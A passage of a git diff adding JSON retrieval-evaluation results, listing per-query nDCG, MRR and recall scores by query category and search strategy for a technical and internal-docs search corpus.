"recall10": 0, + "topDocId": "nat-traversal", + "totalRelevant": 2 + }, + { + "query": "platform engineering golden paths", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.2640681225725909, + "mrr": 0.25, + "recall10": 0.5, + "topDocId": "ml-prompt-engineering", + "totalRelevant": 2 + }, + { + "query": "Acme on-call shadow week 1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme nit policy in code review", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-review-guidelines", + "totalRelevant": 1 + }, + { + "query": "Acme expense per diem rates", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme Sev0 manager escalation", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Acme PII encryption requirements", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 1 + }, + { + "query": "Acme audit log retention 7 years", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 1 + }, + { + "query": "Acme channel auto-archive 30 days", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Acme ApplicationSet rollout", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "Acme Sigstore cosign artifacts", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "Acme dashboards LCP CLS INP", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "Acme runbook payments dashboard URL", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "Acme database failover patroni", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Acme Slack incident channel pattern", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 2 + }, + { + "query": "Acme migration compatibility forward fix", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "Acme buddy program engineering", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "PostgreSQL 中文 索引 维护", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.3065735963827292, + "mrr": 0.3333333333333333, + "recall10": 0.5, + "topDocId": "japanese-dedup", + "totalRelevant": 2 + }, + { + "query": "RFC 9114 HTTP/3", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "RFC 5246 TLS 1.2 deprecated", + "category": "error_code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "\"data plane\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "compliance-gdpr", + "totalRelevant": 2 + }, + { + "query": "\"control plane\"", + "category": "quoted", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "compliance-soc2", + "totalRelevant": 2 + }, + { + "query": "vector index without exact match", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "auth without long-lived keys", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5833416105149332, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "secrets-management", + "totalRelevant": 3 + }, + { + "query": "deploy without manual intervention", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Acme PageDuty Sev1 vs Sev0", + "category": "internal", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "Acme MFA hardware key requirement", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "Acme reviewer 1 business day SLA", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme deploy soak time 2 hours", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "Acme rotating signing keys", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + } + ] +} \ No newline at end of file diff --git a/evaluations/results/baseline-default.json b/evaluations/results/baseline-default.json new file mode 100644 index 0000000..e92b4a6 --- /dev/null +++ b/evaluations/results/baseline-default.json @@ -0,0 +1,5653 @@ +{ + "corpus": 182, + "queries": 504, + "aggregate": { + "ndcg10": 0.7878606420822731, + "mrr": 0.7834167926429827, + "recall10": 0.8610449735449736 + }, + "byCategory": { + "factoid": { + "n": 40, + "ndcg10": 0.7778304623787686, + "mrr": 0.729642857142857, + "recall10": 0.925 + }, + "procedural": { + "n": 73, + "ndcg10": 0.6953731937200461, + "mrr": 0.7058545335942596, + "recall10": 0.7785388127853881 + }, + "definitional": { + "n": 46, + "ndcg10": 0.8039478454681346, + "mrr": 0.8010869565217391, + "recall10": 0.8478260869565217 + }, + "code": { + "n": 60, + "ndcg10": 0.9821310976342948, + "mrr": 0.9805555555555555, + "recall10": 1 + }, + "error_code": { + "n": 30, + "ndcg10": 0.7570106208674102, + "mrr": 0.7316666666666667, + "recall10": 0.8333333333333334 + }, + "quoted": { + "n": 31, + "ndcg10": 0.7907462879314427, + "mrr": 0.8075268817204301, + "recall10": 0.8548387096774194 + }, + "short_kw": { + "n": 45, + "ndcg10": 0.8316204744586047, + "mrr": 0.8296296296296297, + "recall10": 0.9103703703703703 + }, + "named_entity": { + "n": 33, + "ndcg10": 0.9345207239718655, + "mrr": 0.9128787878787878, + "recall10": 1 + }, + "negation": { + "n": 33, + "ndcg10": 0.6762157830699183, + "mrr": 0.6742424242424241, + "recall10": 0.7626262626262627 + }, + "non_english": { + "n": 26, + "ndcg10": 0.7210911677772969, + "mrr": 0.7307692307692307, + "recall10": 0.8076923076923077 + }, + "ambiguous": { + "n": 32, + "ndcg10": 0.38416842667742707, + "mrr": 0.4115823412698412, + "recall10": 0.515625 + }, + "internal": { + "n": 55, + "ndcg10": 0.9173526467701677, + "mrr": 0.9015151515151516, + "recall10": 0.9636363636363636 + } + }, + "byStrategy": { + "keyword": { + "n": 274, + "ndcg10": 0.8741503653849659, + "mrr": 0.8665493569690651, + "recall10": 0.932360097323601 + }, + "hybrid": { + "n": 135, + "ndcg10": 0.7178839553231932, + "mrr": 0.7188653733098177, + "recall10": 0.8123456790123456 + }, + "vector": { + "n": 95, + "ndcg10": 0.6384234686879354, + "mrr": 0.6353759398496241, + "recall10": 0.7245614035087719 + } + }, + "strategyCounts": { + "vector": 95, + "keyword": 274, + "hybrid": 135, + "rerank": 0 + }, + "perQuery": [ + { + "query": "who created PgBouncer?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.3333333333333333, + "mrr": 0.14285714285714285, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "when was TLS 1.3 standardized?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "where does Redis store data on disk?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "compliance-pci", + "totalRelevant": 2 + }, + { + "query": "which kubernetes object handles RBAC permissions?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what version of Python introduced no-GIL?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "who maintains Apache Kafka?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "when was RFC 9110 published?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "where does the OOM killer log events?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "which cipher curves does Bitcoin use?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3562071871080222, + "mrr": 0.16666666666666666, + "recall10": 1, + "topDocId": "python-pandas", + "totalRelevant": 1 + }, + { + "query": "what year did Log4Shell hit?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "who manages cloud Pub/Sub on Google Cloud?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-pubsub", + "totalRelevant": 1 + }, + { + "query": "when do TOTP codes rotate?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "where does Acme keep on-call handoff notes?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "which command rolls back a Kubernetes Deployment?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "what is the default Helm release strategy?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "who runs Acme's quarterly access review?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "when does Acme's vacation policy require advance notice?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "where does Acme store SBOMs?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3333333333333333, + "mrr": 0.14285714285714285, + "recall10": 1, + "topDocId": "compliance-pci", + "totalRelevant": 1 + }, + { + "query": "which AWS service provides versioned object storage?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "gcp-iam", + "totalRelevant": 1 + }, + { + "query": "what algorithm does Dijkstra solve?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-dijkstra", + "totalRelevant": 1 + }, + { + "query": "who designed the Transformer architecture?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-transformer", + "totalRelevant": 1 + }, + { + "query": "when does Acme rotate production credentials?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "where does ArgoCD pull manifests from?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "which exchange type fans out messages in RabbitMQ?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.2, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "what hash function does Bitcoin's curve use?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "ml-prompt-engineering", + "totalRelevant": 1 + }, + { + "query": "how do I configure connection pooling for many short-lived clients?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "why does my pod keep getting restarted by kubernetes?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-statefulsets", + "totalRelevant": 1 + }, + { + "query": "how do I fix vacuum bloat on a large table without locking writes?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "how do I set up logical replication between two postgres databases?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "why does the OOM killer terminate my container?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-resources", + "totalRelevant": 2 + }, + { + "query": "how do I roll back a kubernetes deployment safely?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.3065735963827292, + "mrr": 0.3333333333333333, + "recall10": 0.5, + "topDocId": "k8s-configmap", + "totalRelevant": 2 + }, + { + "query": "how should I migrate from useEffect to React Server Components?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-server-components", + "totalRelevant": 2 + }, + { + "query": "why is my postgres query using a sequential scan instead of an index?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "algo-bloom-filter", + "totalRelevant": 2 + }, + { + "query": "how do I implement zero-downtime deployments with rolling updates?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "k8s-deployments", + "totalRelevant": 2 + }, + { + "query": "why is my fetch request being blocked by CORS?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cors-policy", + "totalRelevant": 1 + }, + { + "query": "how do I handle errors in Rust without panicking?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "how do I run async code concurrently in Python?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-asyncio", + "totalRelevant": 1 + }, + { + "query": "why does my goroutine leak?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "vietnamese-go", + "totalRelevant": 2 + }, + { + "query": "how should I structure a Terraform module for multiple environments?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "terraform-modules", + "totalRelevant": 2 + }, + { + "query": "how do I configure GitHub Actions to cache npm dependencies?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "github-actions", + "totalRelevant": 1 + }, + { + "query": "why is my Lambda function taking forever to cold start?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "how do I prevent N+1 queries in Django?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.31546487678572877, + "mrr": 0.125, + "recall10": 1, + "topDocId": "algo-rolling-hash", + "totalRelevant": 1 + }, + { + "query": "how should I respond to a security incident at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "why does my JWT token verification keep failing?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "ml-transformer", + "totalRelevant": 2 + }, + { + "query": "how do I design a pagination strategy for large datasets?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.21840743681816419, + "mrr": 0.16666666666666666, + "recall10": 0.5, + "topDocId": "pg-vacuum", + "totalRelevant": 2 + }, + { + "query": "how do I set up mTLS between two services?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "prose-poem", + "totalRelevant": 1 + }, + { + "query": "why do my Promise.all calls fail unexpectedly?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "aws-iam", + "totalRelevant": 1 + }, + { + "query": "how do I implement an atomic counter in Redis?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-locks", + "totalRelevant": 1 + }, + { + "query": "why is my Kafka consumer falling behind on a single partition?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "how do I set up automatic failover for Postgres?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.20438239758848611, + "mrr": 0.14285714285714285, + "recall10": 0.5, + "topDocId": "aws-rds", + "totalRelevant": 2 + }, + { + "query": "how do I follow the Acme deploy checklist before merging to main?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "production-deploy-checklist", + "totalRelevant": 2 + }, + { + "query": "how do I onboard as a new engineer at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "why is my Elasticsearch query returning no results despite matching data?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "grafana-dashboards", + "totalRelevant": 1 + }, + { + "query": "how do I tune Postgres for a write-heavy workload?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.15642624200758548, + "mrr": 0.14285714285714285, + "recall10": 0.3333333333333333, + "topDocId": "aws-rds", + "totalRelevant": 3 + }, + { + "query": "how do I implement a blameless postmortem at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "what is logical replication in postgres", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-wal", + "totalRelevant": 1 + }, + { + "query": "what is the rust borrow checker exactly", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "rust-unsafe", + "totalRelevant": 2 + }, + { + "query": "what is the python GIL and why does it matter", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "what is ZeRO-3 sharding in distributed training", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "what is BPE tokenization", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-tokenizers", + "totalRelevant": 1 + }, + { + "query": "what does reciprocal rank fusion compute", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-rrf", + "totalRelevant": 1 + }, + { + "query": "what is a Bloom filter useful for", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-bloom-filter", + "totalRelevant": 1 + }, + { + "query": "what are React Server Components", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-server-components", + "totalRelevant": 1 + }, + { + "query": "what does the OWASP Top 10 cover", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "what is OAuth 2.0 PKCE", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "what is SOC 2 Type II", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "what does HIPAA require for PHI", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-hipaa", + "totalRelevant": 1 + }, + { + "query": "what is GDPR's lawful basis for processing", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 1 + }, + { + "query": "what is RAG retrieval augmented generation", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 1 + }, + { + "query": "what is LoRA fine-tuning", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fine-tuning", + "totalRelevant": 1 + }, + { + "query": "what is RLHF in language model training", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "ml-prompt-engineering", + "totalRelevant": 1 + }, + { + "query": "what is a Merkle tree used for", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "crypto-merkle", + "totalRelevant": 1 + }, + { + "query": "what is QUIC and HTTP/3", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "what is an Acme architecture decision record", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "what is OpenTelemetry tracing", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "what is Apache Cassandra tunable consistency", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cassandra-consistency", + "totalRelevant": 1 + }, + { + "query": "what does Kubernetes RBAC do", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what is a StatefulSet for", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what is a NetworkPolicy in Kubernetes", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-networkpolicy", + "totalRelevant": 1 + }, + { + "query": "what is the JIT in Postgres", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.2890648263178879, + "mrr": 0.1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "what does a Bloom filter trade off", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-bloom-filter", + "totalRelevant": 1 + }, + { + "query": "what is the difference between sessions and JWTs", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "prose-poem", + "totalRelevant": 1 + }, + { + "query": "what is structured logging", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "structured-logging", + "totalRelevant": 2 + }, + { + "query": "what is GitOps with ArgoCD", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "what is a multi-stage Docker build", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 1 + }, + { + "query": "what is the SLSA framework", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "what is workload identity federation", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-iam", + "totalRelevant": 1 + }, + { + "query": "what is CSS subgrid", + "category": "definitional", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "css-flex-grid", + "totalRelevant": 1 + }, + { + "query": "what is INP in Core Web Vitals", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "web-perf-cwv", + "totalRelevant": 1 + }, + { + "query": "useState", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-react-hook", + "totalRelevant": 2 + }, + { + "query": "pg_repack", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "kubectl rollout undo", + "category": "code", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "rbac.authorization.k8s.io", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "pool_mode=transaction", + "category": "code", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, 